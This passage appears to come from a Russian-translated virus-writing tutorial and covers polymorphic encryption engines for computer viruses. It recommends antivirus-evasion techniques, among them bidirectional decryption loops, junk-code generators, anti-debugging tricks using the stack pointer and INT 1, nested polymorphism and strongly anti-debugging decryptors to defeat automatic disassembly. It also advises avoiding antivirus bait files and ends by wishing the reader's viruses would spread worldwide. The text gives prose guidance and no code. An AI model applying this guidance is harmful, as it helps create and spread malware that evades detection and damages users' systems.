изменчивые, антивирусы окажутся оттраханными. Используйте все
возможности: вы можете расшифровывать ваш код сверху вниз и наоборот,
используя si, di, bx и любые регистры, которые вы зарезервировали для
счетчиков, вы можете добавить генератор для длинных процедур, таких как
антиотладочные трюки (neg sp/neg sp, not sp/not sp...), сделать
расшифровщик-зашифровщик части программы-носителя,
расшифровщик-зашифровщик с использованием INT 1 (дьявольский трюк!),
делать пустые перемещения фрагментов памяти, использовать словные
команды как байтовые, комбинировать и взаимозаменять все это...
Вместо этого вы можете попробовать что-нибудб ну совершенно
продвинутое, типа вложенного полиморфизма, и пр. Насчет этого
существует много интересных документов, например, от Methyl (aka
Owl[FS]).
% Последние слова про полиморфизм %
----------------------------------
Но, поскольку реальный мир - дерьмо, антивирмеры будут пытаться
победить все наши расшифровщики при помощи автоматического
дизассемблирования.
Но существует и защита для наших жоп. Мы должны крепко защищать
наши полиморфики шифрующими процедурами, специально разработанными для
этого (это должны быть СИЛЬНОАНТИОТЛАДОЧНЫЕ расшифровщики). Поскольку
они не хотят затрачивать много времени на дизассемблирование наших
движков, то они и увидят только то, что хотят видеть J Вы можете найти
очень хорошие варианты АНТИОТЛАДОЧНОЙ техники в главе с соответствующим
названием (см. выше). А пока они будут концентрировать их усилия на
изучении приманок, и мы должны избегать инфицирования таких файлов.
Много инфориации об этом вы найдете в других главах.
Я надеюсь, что ваши полиморфики прокатятся по всему миру! J
|